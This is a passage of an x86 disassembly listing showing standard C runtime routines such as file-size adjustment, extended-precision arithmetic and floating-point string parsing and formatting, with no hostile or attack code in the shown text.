loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5A0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB598 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB598 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5A0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC6C0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB27C, 5 jnz short loc_424FDC mov dword_4DB278, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 2600000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB278, 0Dh nop call near ptr 26908FFh mov dword_4DB27C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB278, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C508 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C508 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C508 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C504, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C508 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C504, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C504, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C504, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C504, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 